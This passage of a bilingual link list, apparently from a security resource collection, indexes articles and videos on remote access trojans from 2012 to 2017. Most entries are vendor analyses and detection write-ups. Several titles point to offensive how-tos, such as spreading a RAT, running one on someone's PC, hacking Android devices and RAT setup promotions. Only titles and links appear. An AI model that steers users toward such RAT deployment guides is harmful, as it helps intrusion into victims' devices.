MaaS（恶意软件即服务）恶意软件 MacSpy 分析](https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service) - 2017.05 [TechnoHacker] [How to check if you're infected with a RAT in 10 seconds](https://www.youtube.com/watch?v=ZWcTAiyZrEI) - 2017.05 [freebuf] [远控木马中的VIP：盗刷网购账户购买虚拟礼品卡](http://www.freebuf.com/articles/system/135081.html) - 2017.05 [pediy] [[原创]从0分析一款经典的感染型远控木马](https://bbs.pediy.com/thread-217755.htm) - 2017.05 [4hou] [远控木马中的VIP：盗刷网购账户购买虚拟礼品卡](http://www.4hou.com/info/observation/4847.html) - 2017.05 [sec] [远控木马中的VIP：盗刷网购账户购买虚拟礼品卡](https://www.sec-un.org/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%ac%e4%b8%ad%e7%9a%84vip%ef%bc%9a%e7%9b%97%e5%88%b7%e7%bd%91%e8%b4%ad%e8%b4%a6%e6%88%b7%e8%b4%ad%e4%b9%b0%e8%99%9a%e6%8b%9f%e7%a4%bc%e5%93%81%e5%8d%a1/) - 2017.05 [360] [远控木马中的VIP：盗刷网购账户购买虚拟礼品卡](https://www.anquanke.com/post/id/86128/) - 2017.05 [aliyun] [FlexiSpy For Android远程控制后门](https://xz.aliyun.com/t/167) - 2017.05 [UltraHacks] [Imminent Monitor RAT setup & New update review 2017](https://www.youtube.com/watch?v=Mwp-VbaYM0w) - 2017.05 [TechnoHacker] [How to spread your RAT](https://www.youtube.com/watch?v=bI3AngFahb4) - 2017.05 [esecurityplanet] [Shodan Partners with Recorded Future to Detect Botnets and RATs](https://www.esecurityplanet.com/hackers/shodan-partners-with-recorded-future-to-detect-botnets-and-rats.html) - 2017.04 [alienvault] [The Felismus RAT: Powerful Threat, Mysterious Purpose](https://www.alienvault.com/blogs/security-essentials/the-felismus-rat-powerful-threat-mysterious-purpose) - 2017.04 [4hou] [二十余款Linksys路由器曝出安全漏洞，或可被远程控制](http://www.4hou.com/info/news/4449.html) - 2017.04 [freebuf] [当心，安卓远控（spynote）升级了……](http://www.freebuf.com/sectool/132023.html) - 2017.04 [paloaltonetworks] [Cardinal RAT Active for Over](https://unit42.paloaltonetworks.com/unit42-cardinal-rat-active-two-years/) - 2017.04 [jpcert] [RedLeaves - Malware Based on Open Source RAT](https://blogs.jpcert.or.jp/en/2017/04/redleaves---malware-based-on-open-source-rat.html) - 2017.03 [TechnoHacker] [What's the difference between http botnets and RATs?](https://www.youtube.com/watch?v=G1J1xsZAASg) - 2017.03 [paloaltonetworks] [Trochilus and New MoonWind RATs Used In Attack Against Thai Orga](https://unit42.paloaltonetworks.com/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/) - 2017.03 [fireeye] [WMImplant – A WMI Based Agentless Post-Exploitation RAT Developed in PowerShell](https://www.fireeye.com/blog/threat-research/2017/03/wmimplant_a_wmi_ba.html) - 2017.03 [4hou] [CIA事件余波：300多种思科交换机深受其毒，一个0day即可远程控制](http://www.4hou.com/info/news/3930.html) - 2017.03 [secist] [基于Python的远程管理工具（RAT） – Stitch](http://www.secist.com/archives/2965.html) - 2017.03 [trendmicro] [MajikPOS简介：PoS恶意软件和RAT的结合体。](https://blog.trendmicro.com/trendlabs-security-intelligence/majikpos-combines-pos-malware-and-rats/) - 2017.03 [4hou] [Proton RAT利用0day漏洞升级新变种，最低1200美元可出售](http://www.4hou.com/info/news/3846.html) - 2017.02 [UltraHacks] [SilentBytes RAT [beta] Windows 10 || PROMOTION ||](https://www.youtube.com/watch?v=JOvtLWFPaeY) - 2017.02 [UltraHacks] [SilentBytes RAT Linux Ubuntu || PROMOTION ||](https://www.youtube.com/watch?v=X0slzydICEg) - 2017.02 [UltraHacks] [SilentBytes RAT 1.1 [BETA] Mac OS X || PROMOTION ||](https://www.youtube.com/watch?v=GVdDkNrD0hU) - 2017.02 [lookout] [ViperRAT: The mobile APT targeting the Israeli Defense Force that should be on your radar](https://blog.lookout.com/viperrat-mobile-apt) - 2017.02 [talosintelligence] [Go RAT, Go! AthenaGo points “TorWords” Portugal](https://blog.talosintelligence.com/2017/02/athena-go.html) - 2017.02 [netskope] [Decoys, RATs, and the Cloud: The growing trend](https://www.netskope.com/blog/decoys-rats-cloud-the-growing-trend/) - 2017.01 [malwarebytes] [Mobile Menace Monday: AndroRAT Evolved](https://blog.malwarebytes.com/cybercrime/2017/01/mobile-menace-monday-androrat-evolved/) - 2017.01 [malwarebytes] [From a fake wallet to a Java RAT](https://blog.malwarebytes.com/cybercrime/2017/01/from-a-fake-wallet-to-a-java-rat/) - 2016.12 [TechnoHacker] [How to remotely execute a RAT on someone's PC](https://www.youtube.com/watch?v=5X9su6U8wyo) - 2016.12 [cyber] [The Kings In Your Castle Part 4 – Packers, Crypters and a Pack of RATs](https://cyber.wtf/2016/12/05/the-kings-in-your-castle-part-4-packers-crypters-and-a-pack-of-rats/) - 2016.11 [] [Linux远控分析](http://blogs.360.cn/360safe/2016/11/18/linuxremotecontrol/) - 2016.11 [] [Linux远控分析](http://blogs.360.cn/blog/linuxremotecontrol/) - 2016.11 [f] [A RAT For The US Presidential Elections](https://labsblog.f-secure.com/2016/11/10/a-rat-for-the-us-presidential-elections/) - 2016.11 [fidelissecurity] [Down the H-W0rm Hole with Houdini's RAT](https://www.fidelissecurity.com/threatgeek/2016/11/down-h-w0rm-hole-houdinis-rat) - 2016.11 [4hou] [托管在Pastebin上的RAT木马会导致系统蓝屏](http://www.4hou.com/info/news/1250.html) - 2016.10 [malwarebytes] [Get your RAT on Pastebin](https://blog.malwarebytes.com/cybercrime/2016/10/get-your-rat-on-pastebin/) - 2016.10 [8090] [华为P9手机指纹锁遭破解，远程控制插座发微博，智能产品的安全问题堪忧](http://www.8090-sec.com/archives/4475) - 2016.10 [sentinelone] [GovRAT is Not New](https://www.sentinelone.com/blog/govrat-remote-administration-tool-targets-us-government-employees/) - 2016.10 [UltraHacks] [[$25] Imment Monitor RAT setup](https://www.youtube.com/watch?v=TCDxayI8e2U) - 2016.09 [securelist] [TeamXRat: Brazilian cybercrime meets ransomware](https://securelist.com/teamxrat-brazilian-cybercrime-meets-ransomware/76153/) - 2016.09 [freebuf] [远控盗号木马伪装成850Game作恶](http://www.freebuf.com/articles/system/115194.html) - 2016.09 [jimwilbur] [DroidJack – A Quick Look at an Android RAT](https://www.wilbursecurity.com/2016/09/droidjack/) - 2016.09 [360] [远控盗号木马伪装成850Game作恶](https://www.anquanke.com/post/id/84619/) - 2016.09 [countercept] [Do you smell a rat?](https://countercept.com/blog/do-you-smell-a-rat/) - 2016.09 [countercept] [Do you smell a rat?](https://countercept.com/our-thinking/do-you-smell-a-rat/) - 2016.09 [freebuf] [You dirty RAT：地下网络犯罪世界的“黑吃黑”](http://www.freebuf.com/articles/system/113906.html) - 2016.08 [fortinet] [German Speakers Targeted by SPAM Leading to Ozone RAT](https://www.fortinet.com/blog/threat-research/german-speakers-targeted-by-spam-leading-to-ozone-rat.html) - 2016.08 [freebuf] [微信曝远程任意代码执行漏洞，可被远程控制](http://www.freebuf.com/news/112613.html) - 2016.08 [trustlook] [Trustlook Discovers a Remote Administration Tool (RAT) Android Malware](https://blog.trustlook.com/2016/08/22/trustlook-discovers-a-remote-administration-tool-rat-android-malware/) - 2016.08 [id] [XRat, Team, Corporacao](http://id-ransomware.blogspot.com/2016/08/team-xrat-ransomware.html) - 2016.08 [f] [NanHaiShu: RATing the South China Sea](https://labsblog.f-secure.com/2016/08/04/nanhaishu-rating-the-south-china-sea/) - 2016.07 [malwarenailed] [Luminosity RAT - Re-purposed](http://malwarenailed.blogspot.com/2016/07/luminosity-rat-re-purposed.html) - 2016.07 [360] [披合法外衣的远控木马——Game564深入分析](https://www.anquanke.com/post/id/84267/) - 2016.07 [fidelissecurity] [Chasing Down RATs with Barncat](https://www.fidelissecurity.com/threatgeek/2016/07/chasing-down-rats-barncat) - 2016.07 [n0where] [Python Remote Access Tool: Ares](https://n0where.net/python-remote-access-tool-ares) - 2016.07 [360] [H-WORM：简单而活跃的远控木马](https://www.anquanke.com/post/id/84132/) - 2016.06 [duo] [Protecting Remote Access to Your Computer: RDP Attacks and Server Credentials for Sale](https://duo.com/blog/protecting-remote-access-to-your-computer-rdp-attacks-and-server-credentials-for-sale) - 2016.06 [cybereason] [Permission to Execute: The Incident of the Signed and Verified RAT](https://www.cybereason.com/blog/permission-to-execute-the-incident-of-the-signed-and-verified-rat) - 2016.06 [8090] [一款用于定向攻击的JavaScript远控木马分析](http://www.8090-sec.com/archives/2682) - 2016.06 [hackingarticles] [HTTP RAT Tutorial for Beginners](http://www.hackingarticles.in/http-rat-tutorial-beginners/) - 2016.06 [avlsec] [假借知名应用植入恶意模块，披着羊皮的“狼”来了！WarThunder远程控制木马预警](http://blog.avlsec.com/2016/06/3298/warthundermalicewolf/) - 2016.06 [cysinfo] [Hunting APT RAT 9002 In Memory Using Volatility Plugin](https://cysinfo.com/hunting-apt-rat-9002-in-memory-using-volatility-plugin/) - 2016.06 [f] [Qarallax RAT: Spying On US Visa Applicants](https://labsblog.f-secure.com/2016/06/07/qarallax-rat-spying-on-us-visa-applicants/) - 2016.06 [qq] [远控木马利用Windows系统文件漏洞展开攻击](https://tav.qq.com/index/newsDetail/246.html) - 2016.06 [samvartaka] [Dead RATs: Exploiting malware C2 servers](http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware) - 2016.05 [freebuf] [深度：远控木马Posion Ivy开始肆虐缅甸和其它亚洲国家](http://www.freebuf.com/articles/paper/104819.html) - 2016.05 [trendmicro] [Lost Door RAT: Accessible, Customizable Attack Tool](https://blog.trendmicro.com/trendlabs-security-intelligence/lost-door-rat-accessible-customizable-attack-tool/) - 2016.04 [pentestpartners] [RATing through the Steam Workshop](https://www.pentestpartners.com/security-blog/rating-through-the-steam-workshop/) - 2016.04 [freebuf] [DameWare迷你远程遥控漏洞（CVE-2016-2345）：让你玩转远程控制器](http://www.freebuf.com/articles/terminal/102204.html) - 2016.04 [paloaltonetworks] [New Poison Ivy RAT Variant Targets Hong Kong Pro-Democracy](https://unit42.paloaltonetworks.com/unit42-new-poison-ivy-rat-variant-targets-hong-kong-pro-democracy-activists/) - 2016.04 [sentinelone] [Teaching an old RAT new tricks](https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/) - 2016.04 [itsjack] [RAT Threat Intelligence – A Very Simple Manual Technique](https://itsjack.cc/blog/2016/04/rat-threat-intelligence-a-very-simple-manual-technique/) - 2016.03 [TechnoHacker] [How to port forward for any program and how to setup a DNS for RATs](https://www.youtube.com/watch?v=4KMmuq0UuLQ) - 2016.03 [malwarebytes] [Latest Steam Malware Shows Signs of RAT Activity](https://blog.malwarebytes.com/cybercrime/2016/03/latest-steam-malware-shows-sign-of-rat-activity/) - 2016.03 [freebuf] [如何远程控制别人的无线鼠标：深度揭露mouseJack内幕](http://www.freebuf.com/vuls/100501.html) - 2016.03 [malwarebytes] [This Steam Scam is a Rat Race](https://blog.malwarebytes.com/cybercrime/2016/03/this-steam-scam-is-a-rat-race/) - 2016.03 [itsjack] [Imminent Monitor 4 RAT Analysis – Further Into The RAT](https://itsjack.cc/blog/2016/03/imminent-monitor-4-rat-analysis-further-into-the-rat/) - 2016.02 [TechnoHacker] [How to get rid of a RAT [Very in depth]](https://www.youtube.com/watch?v=dqnPIXc1JPQ) - 2016.02 [brindi] [Advanced Techniques for Detecting RAT Screen Control](http://brindi.si/g/elsewhere/advanced-techniques-for-detecting-rat-screen-control.html) - 2016.02 [mindedsecurity] [RAT WARS 2.0: Advanced Techniques for Detecting RAT Screen Control](http://blog.mindedsecurity.com/2016/02/rat-wars-20-advanced-techniques-for.html) - 2016.01 [fidelissecurity] [Introducing Hi-Zor RAT](https://www.fidelissecurity.com/threatgeek/2016/01/introducing-hi-zor-rat) - 2016.01 [alienvault] [Trochilus RAT: Invading your Sandbox](https://www.alienvault.com/blogs/security-essentials/trochilus-rat-invading-your-sandbox) - 2016.01 [itsjack] [Imminent Monitor 4 RAT Analysis – A Glance](https://itsjack.cc/blog/2016/01/imminent-monitor-4-rat-analysis-a-glance/) - 2016.01 [freebuf] [“暗影大盗”远控木马分析报告](http://www.freebuf.com/articles/database/94054.html) - 2016.01 [] [Linux远控分析](http://blogs.360.cn/post/linuxremotecontrol.html) - 2016.01 [ensilo] [Cyber-Security in 120 Secs: 0-days, and a new RAT targeting APJ](https://blog.ensilo.com/cyber-security-in-120-secs-0-days-and-a-new-rat-targeting-apj) - 2016.01 [TechnoHacker] [How to use all of Xtreme RAT's features](https://www.youtube.com/watch?v=9eejCZQCmZo) - 2016.01 [freebuf] [一次对JSocket远控的分析](http://www.freebuf.com/articles/terminal/92108.html) - 2015.12 [paloaltonetworks] [BBSRAT Attacks Targeting Russian Organizations Linked to Roam](https://unit42.paloaltonetworks.com/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/) - 2015.12 [welivesecurity] [Europol makes 12 arrests in Remote Access Trojan crackdown](https://www.welivesecurity.com/2015/12/15/europol-makes-12-arrests-remote-access-trojan-crackdown/) - 2015.11 [360] [“大灰狼”远控木马幕后真凶深入挖掘](https://www.anquanke.com/post/id/83006/) - 2015.11 [cylance] [Cylance vs. GlassRAT](https://www.cylance.com/en_us/blog/cylanceprotect-vs-glassrat.html) - 2015.11 [rsa] [Detecting GlassRAT using Security Analytics and ECAT](https://community.rsa.com/community/products/netwitness/blog/2015/11/25/detecting-glassrat-using-security-analytics-and-ecat) - 2015.11 [freebuf] [KillerRat：埃及黑客开发针对Windows平台的新型RAT](http://www.freebuf.com/sectool/86094.html) - 2015.11 [freebuf] [BT天堂网站挂马事件后续：“大灰狼”远控木马分析及幕后真凶调查](http://www.freebuf.com/articles/web/84374.html) - 2015.11 [360] [“大灰狼”远控木马分析及幕后真凶调查](https://www.anquanke.com/post/id/82865/) - 2015.11 [freebuf] [黑市热卖杀器GovRAT：恶意软件数字签名平台](http://www.freebuf.com/news/84126.html) - 2015.11 [duo] [Criminals Leverage Remote Access to Patient Data Applications](https://duo.com/blog/criminals-leverage-remote-access-to-patient-data-applications) - 2015.11 [fidelissecurity] [A Stalker’s Best Friend: Inside JSocket’s Android Remote Access Tool Builder](https://www.fidelissecurity.com/threatgeek/2015/11/stalker%E2%80%99s-best-friend-inside-jsocket%E2%80%99s-android-remote-access-tool-builder) - 2015.10 [threatmetrix] [How Contextual Fraud Prevention Can Turn Banks into RAT (Remote Access Trojan) Catchers](https://www.threatmetrix.com/digital-identity-blog/fraud-prevention/remote-access-trojan-rat-catchers/) - 2015.10 [deepsec] [DeepSec Talk: Got RATs? Enter Barn Cat (OSint)](http://blog.deepsec.net/deepsec-talk-got-rats-enter-barn-cat-osint/) - 2015.10 [360] [另类远控：木马借道商业级远控软件的隐藏运行实现](https://www.anquanke.com/post/id/82748/) - 2015.10 [freebuf] [另类远控：木马借道商业级远控软件的隐藏运行实现](http://www.freebuf.com/articles/82240.html) - 2015.10 [hackingarticles] [Hack Android Devices using Omni RAT](http://www.hackingarticles.in/hack-android-devices-using-omni-rat/) - 2015.10 [duo] [Remote Access Trojan (RAT) Targets Windows Environments](https://duo.com/blog/remote-access-trojan-rat-targets-windows-environments) - 2015.09 [trustwave] [Quaverse RAT: Remote-Access-as-a-Service](https://www.trustwave.com/Resources/SpiderLabs-Blog/Quaverse-RAT--Remote-Access-as-a-Service/) - 2015.09 [freebuf] [远程控制工具VNC拒绝服务漏洞分析](http://www.freebuf.com/sectool/79223.html) - 2015.09 [freebuf] [老式后门之美：五种复古远程控制工具（含下载）](http://www.freebuf.com/sectool/77740.html) - 2015.09 [kaspersky] [A layman’s dictionary: RAT](https://www.kaspersky.com/blog/a-laymans-dictionary-rat/4487/) - 2015.08 [sentinelone] [The 7 ‘Most Common’ RATS In Use Today](https://www.sentinelone.com/blog/the-7-most-common-rats-in-use-today/) - 2015.08 [rsa] [Detecting XtremeRAT variants using Security Analytics](https://community.rsa.com/community/products/netwitness/blog/2015/08/26/detecting-xtremerat-using-security-analytics) - 2015.08 [paloaltonetworks] [RTF Exploit Installs Italian RAT:](https://unit42.paloaltonetworks.com/rtf-exploit-installs-italian-rat-uwarrior/) - 2015.08 [fortinet] [The Curious Case Of The Document Exploiting An Unknown Vulnerability – Part 2: RATs, Hackers and Rihanna](https://www.fortinet.com/blog/threat-research/the-curious-case-of-the-document-exploiting-an-unknown-vulnerability-part-2-rats-hackers-and-rihanna.html) - 2015.08 [duo] [You Built a Better Mousetrap? They Built Better RATs](https://duo.com/blog/you-built-a-better-mousetrap-they-built-better-rats) - 2015.08 [alienvault] [FF-RAT Uses Stealth Tactics to Evade Endpoint Detection](https://www.alienvault.com/blogs/security-essentials/ff-rat-uses-stealth-tactics-to-evade-endpoint-detection) - 2015.08 [freebuf] [全程回放：黑客是如何远程控制切诺基汽车的？【FreeBuf视频】](http://www.freebuf.com/articles/terminal/73814.html) - 2015.08 [securityfuse] [Omni RAT which can turn your android phone into a hacking machine](http://blog.securityfuse.com/2015/08/omni-rat-which-can-turn-your-android.html) - 2015.07 [redcanary] [Red Canary vs. PoshRAT: Detection in the Absence of Malware](https://redcanary.com/blog/poshrat-detection/) - 2015.07 [freebuf] [格盘也没用：Hacking Team使用UEFI BIOS Rootkit将远控长驻操作系统](http://www.freebuf.com/news/72482.html) - 2015.07 [freebuf] [揭秘：Hacking Team远控窃听程序（RCS）的全球热销之路](http://www.freebuf.com/news/72423.html) - 2015.07 [] [简要分析Hacking Team远程控制系统](http://www.91ri.org/13463.html) - 2015.07 [freebuf] [简要分析Hacking Team远程控制系统](http://www.freebuf.com/articles/system/72138.html) - 2015.07 [bromium] [Government Grade Malware: a Look at HackingTeam’s RAT](https://blogs.bromium.com/government-grade-malware-a-look-at-hackingteams-rat/) - 2015.07 [nsfocus] [简要分析Hacking Team 远程控制系统](http://blog.nsfocus.net/hacking-team-rcs-report/) - 2015.07 [talosintelligence] [Ding! Your RAT has been delivered](https://blog.talosintelligence.com/2015/07/ding-your-rat-has-been-delivered.html) - 2015.06 [guidancesoftware] [The OPM Hack: I Smell a RAT](https://www.guidancesoftware.com/blog/security/2015/06/09/the-opm-hack-i-smell-rat) - 2015.05 [freebuf] [移花接木大法：新型“白利用”华晨远控木马分析](http://www.freebuf.com/articles/system/68469.html) - 2015.05 [securelist] [Grabit and the RATs](https://securelist.com/grabit-and-the-rats/70087/) - 2015.05 [] [移花接木大法：新型“白利用”华晨远控木马分析](http://blogs.360.cn/360safe/2015/05/27/white-used/) - 2015.05 [] [移花接木大法：新型“白利用”华晨远控木马分析](http://blogs.360.cn/blog/white-used/) - 2015.04 [freebuf] [控制指令高达二十多种：远控木马Dendoroid.B分析报告](http://www.freebuf.com/articles/terminal/65611.html) - 2015.04 [freebuf] [Adobe Flash播放器最新漏洞（CVE-2015-3044）：摄像头和麦克风可被远程控制（含视频）](http://www.freebuf.com/news/65294.html) - 2015.03 [freebuf] [剖析Smack技术远控木马](http://www.freebuf.com/articles/terminal/60840.html) - 2015.03 [avlsec] [Smack技术远控木马](http://blog.avlsec.com/2015/03/2193/smack-remote-control/) - 2015.03 [] [Smack技术远控木马工作分析文](http://www.91ri.org/12517.html) - 2015.02 [mcafee] [What is a Remote Administration Tool (RAT)?](https://securingtomorrow.mcafee.com/consumer/identity-protection/what-is-rat/) - 2015.01 [] [移花接木大法：新型“白利用”华晨远控木马分析](http://blogs.360.cn/post/white-used.html) - 2015.01 [trendmicro] [New RATs Emerge from Leaked Njw0rm Source Code](https://blog.trendmicro.com/trendlabs-security-intelligence/new-rats-emerge-from-leaked-njw0rm-source-code/) - 2015.01 [freebuf] [CVE-2014-8272漏洞分析：戴尔（Dell）远程控制卡脆弱的Session-ID机制](http://www.freebuf.com/vuls/56770.html) - 2015.01 [] [远控木马Dendoroid.B分析报告](http://blogs.360.cn/post/analysis_of_dendoroid_b.html) - 2014.12 [sans] [Flushing out the Crypto Rats - Finding "Bad Encryption" on your Network](https://isc.sans.edu/forums/diary/Flushing+out+the+Crypto+Rats+Finding+Bad+Encryption+on+your+Network/19009/) - 2014.11 [checkpoint] [Mobile Security Weekly: Android mRATs, Paid Apps Hacked, Whatsapp Talks Privacy | Check Point Software Blog](https://blog.checkpoint.com/2014/11/21/mobile-security-weekly-android-mrats-paid-apps-hacked-whatsapp-talks-privacy/) - 2014.10 [freebuf] [对手机远程控制软件穿透硬件防火墙的分析和研究](http://www.freebuf.com/articles/network/49271.html) - 2014.10 [freebuf] [针对VBS远控木马的技术分析](http://www.freebuf.com/articles/web/48706.html) - 2014.10 [] [VBS远控木马](http://blogs.360.cn/360safe/2014/10/24/vbs_cc_trojan/) - 2014.10 [] [VBS远控木马](http://blogs.360.cn/blog/vbs_cc_trojan-2/) - 2014.10 [airbuscybersecurity] [LeoUncia and OrcaRat](http://blog.airbuscybersecurity.com/post/2014/10/LeoUncia-and-OrcaRat) - 2014.10 [] [“Xsser mRAT”首个X国高级IOS木马](http://www.91ri.org/11000.html) - 2014.10 [checkpoint] [Mobile Security Weekly - Lacoon Discovers the Xsser mRAT | Check Point Software Blog](https://blog.checkpoint.com/2014/10/03/mobile-security-weekly-lacoon-discovers-xsser-mrat/) - 2014.10 [lookout] [Just the facts: Xsser mRAT iOS malware](https://blog.lookout.com/xsser-mrat-ios) - 2014.09 [checkpoint] [Lacoon Discovers Xsser mRAT, the First Advanced iOS Trojan](https://blog.checkpoint.com/2014/09/30/lacoon-discovers-xsser-mrat-first-advanced-ios-trojan/) - 2014.09 [checkpoint] [Chinese Android mRAT Spyware Targets Hong Kong Protest](https://blog.checkpoint.com/2014/09/30/chinese-government-targets-hong-kong-protesters-android-mrat-spyware/) - 2014.09 [qq] [新型白利用（暴风）远控木马分析](https://tav.qq.com/index/newsDetail/162.html) - 2014.09 [comodo] [Warning! RATS Attacking Mobile Devices](https://blog.comodo.com/mobile-security/warning-rats-attacking-mobile-devices/) - 2014.09 [comodo] [Warning! RATS Attacking Mobile Devices](https://blog.comodo.com/warning-rats-attacking-mobile-devices/) - 2014.08 [] [远控木马伪造通信协议一例](http://blogs.360.cn/360safe/2014/08/29/cnc_trojan_and_fake_proto/) - 2014.08 [] [远控木马伪造通信协议一例](http://blogs.360.cn/blog/cnc_trojan_and_fake_proto/) - 2014.08 [freebuf] [下一代远程控制木马的思路探讨](http://www.freebuf.com/articles/system/41241.html) - 2014.08 [] [播放器暗藏远控木马 360独家提供查杀方案](http://blogs.360.cn/360safe/2014/08/15/trojan_in_media_player/) - 2014.08 [cert] [Android RAT malware spreading via torrents](https://www.cert.pl/en/news/single/android-rat-malware-spreading-via-torrents/) - 2014.08 [rsa] [Finding & Eradicating RATs](https://community.rsa.com/community/products/netwitness/blog/2014/08/07/finding-eradicating-rats) - 2014.08 [mcafee] [Android App SandroRAT Targets Polish Banking Users via Phishing Email](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/sandrorat-android-rat-targeting-polish-banking-users-via-e-mail-phishing/) - 2014.08 [mcafee] [Android App SandroRAT Targets Polish Banking Users via Phishing Email](https://securingtomorrow.mcafee.com/mcafee-labs/sandrorat-android-rat-targeting-polish-banking-users-via-e-mail-phishing/) - 2014.07 [bhconsulting] [Advanced Fee Fraud Now Plagued By RATs](http://bhconsulting.ie/advanced-fee-fraud-now-plagued-by-rats/) - 2014.07 [sans] [Keeping the RATs out: the trap is sprung - Part 3](https://isc.sans.edu/forums/diary/Keeping+the+RATs+out+the+trap+is+sprung+Part+3/18415/) - 2014.07 [sans] [Keeping the RATs out: **it happens - Part 2](https://isc.sans.edu/forums/diary/Keeping+the+RATs+out+it+happens+Part+2/18411/) - 2014.07 [sans] [Keeping the RATs out: an exercise in building IOCs - Part 1](https://isc.sans.edu/forums/diary/Keeping+the+RATs+out+an+exercise+in+building+IOCs+Part+1/18401/) - 2014.07 [freebuf] [揭秘：独特的技术手段，远程控制你的手机](http://www.freebuf.com/articles/terminal/38086.html) - 2014.06 [plcscan] [Havex Rat又一个针对ICS/SCADA系统的恶意软件](http://plcscan.org/blog/2014/06/havex-rat-malware-strikes-ics-scada/) - 2014.05 [malwarebytes] [A RAT in Bird’s clothing](https://blog.malwarebytes.com/cybercrime/2014/05/a-rat-in-birds-clothing/) - 2014.05 [avlsec] [捆绑包形式远控木马分析报告](http://blog.avlsec.com/2014/05/730/%e6%8d%86%e7%bb%91%e5%8c%85%e5%bd%a2%e5%bc%8f%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%ac%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/) - 2014.04 [trendmicro] [Old Java RAT Updates, Includes Litecoin Plugin](https://blog.trendmicro.com/trendlabs-security-intelligence/old-java-rat-updates-includes-litecoin-plugin/) - 2014.04 [avlsec] [Android短信指令远控木马Herta木马分析报告](http://blog.avlsec.com/2014/04/471/herta%e6%9c%a8%e9%a9%ac%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/) - 2014.02 [checkpoint] [The Spy in Your Pocket, Part 1: An Overview of Mobile Remote Access Trojans (mRATs) | Check Point Software Blog](https://blog.checkpoint.com/2014/02/10/the-spy-in-your-pocket-part-1-an-overview-of-mobile-remote-access-trojans-mrats/) - 2014.01 [] [远控木马伪造通信协议一例](http://blogs.360.cn/post/cnc_trojan_and_fake_proto.html) - 2014.01 [] [假冒淘宝远控木马](http://blogs.360.cn/post/fake-taobao-rat.html) - 2014.01 [] [VBS远控木马](http://blogs.360.cn/post/vbs_cc_trojan-2.html) - 2014.01 [] [Oldboot鬼影又现，另一例山寨手机中运用云端远控技术的木马](http://blogs.360.cn/post/analysis_of_oldboot_c.html) - 2014.01 [] [播放器暗藏远控木马 360独家提供查杀方案](http://blogs.360.cn/post/trojan_in_media_player.html) - 2014.01 [] [安卓远控木马黑色产业链渐成气候，谨防手机变“肉鸡”](http://blogs.360.cn/post/rat-trojan.html) - 2014.01 [] [国内首个利用JavaScript脚本远控木马的技术分析报告](http://blogs.360.cn/post/android-huigezi-trojan.html) - 2013.12 [pediy] [[原创]逆向笔记--某远控的隐藏技术](https://bbs.pediy.com/thread-182543.htm) - 2013.11 [sensepost] [RAT-a-tat-tat](https://sensepost.com/blog/2013/rat-a-tat-tat/) - 2013.11 [freebuf] [黑客可远程控制你的手机 – Android 4.4惊爆漏洞（含EXP）](http://www.freebuf.com/articles/wireless/16423.html) - 2013.10 [freebuf] [RAT终结者在APT中的演变复杂化](http://www.freebuf.com/articles/web/15791.html) - 2013.10 [trendmicro] [Dutch TorRAT Threat Actors Arrested](https://blog.trendmicro.com/trendlabs-security-intelligence/dutch-torrat-threat-actors-arrested/) - 2013.10 [privacy] [CuteCats.exe and the Arab Spring 2: Social Engineering and Remote Access Toolkits](http://privacy-pc.com/articles/cutecats-exe-and-the-arab-spring-2-social-engineering-and-remote-access-toolkits.html) - 2013.09 [comodo] [Super RATS? Comodo has Built a Better Mousetrap!](https://blog.comodo.com/malware/njrat-is-a-mobile-trojan-threatening-internet-security/) - 2013.09 [comodo] [Super RATS? Comodo has Built a Better Mousetrap!](https://blog.comodo.com/njrat-is-a-mobile-trojan-threatening-internet-security/) - 2013.09 [freebuf] [苹果新技术允许政府远程控制你的iPhone](http://www.freebuf.com/news/12194.html) - 2013.08 [pediy] [[开源兼求职]Web远程控制软件](https://bbs.pediy.com/thread-176838.htm) - 2013.07 [trendmicro] [Compromised Sites Conceal StealRat Botnet Operations](https://blog.trendmicro.com/trendlabs-security-intelligence/compromised-sites-conceal-stealrat-botnet-operations/) - 2013.07 [talosintelligence] [Androrat - Android Remote Access Tool](https://blog.talosintelligence.com/2013/07/androrat-android-remote-access-tool.html) - 2013.06 [freebuf] [Android远程控制工具——AndroRat](http://www.freebuf.com/sectool/10179.html) - 2013.04 [webroot] [A peek inside a (cracked) commercially available RAT (Remote Access Tool)](https://www.webroot.com/blog/2013/04/17/a-peek-inside-a-cracked-commercially-available-rat-remote-access-tool/) - 2013.04 [rapid7] [Weekly Update: Minecraft RAT Attacks, PHP Shell Games, and MongoDB](https://blog.rapid7.com/2013/04/04/weekly-update-24/) - 2013.04 [quequero] [McRat Malware Analysis – Part1](https://quequero.org/2013/04/mcrat-malware-analysis-part1/) - 2013.04 [webroot] [DIY Java-based RAT (Remote Access Tool) spotted in the wild](https://www.webroot.com/blog/2013/04/01/diy-java-based-rat-remote-access-tool-spotted-in-the-wild/) - 2013.02 [trendmicro] [BKDR_RARSTONE: New RAT to Watch Out For](https://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/) - 2013.01 [trendmicro] [Hiding in Plain Sight: The FAKEM Remote Access Trojan](https://blog.trendmicro.com/trendlabs-security-intelligence/hiding-in-plain-sight-the-fakem-remote-access-trojan/) - 2012.11 [trendmicro] [Tsunami Warning Leads to Arcom RAT](https://blog.trendmicro.com/trendlabs-security-intelligence/tsunami-warning-leads-to-arcom-rat/) - 2012.11 [trendmicro] [New Xtreme RAT Attacks US, Israel, and Other Foreign Governments](https://blog.trendmicro.com/trendlabs-security-intelligence/new-xtreme-rat-attacks-on-usisrael-and-other-foreign-governments/) - 2012.10 [forcepoint] [Iranian Firefighters' Website Compromised to Serve VertexNet RAT](https://www.forcepoint.com/blog/security-labs/iranian-firefighters-website-compromised-serve-vertexnet-rat) - 2012.10 [mcafee] [Tool Talk: Cracking the Code on XtremeRAT](https://securingtomorrow.mcafee.com/executive-perspectives/tool-talk-unleashing-validedge-on-xtremerat/) - 2012.10 [trendmicro] [Xtreme RAT Targets Israeli Government](https://blog.trendmicro.com/trendlabs-security-intelligence/xtreme-rat-targets-israeli-government/) - 2012.08 [forcepoint] [Nepalese government websites compromised to serve Zegost 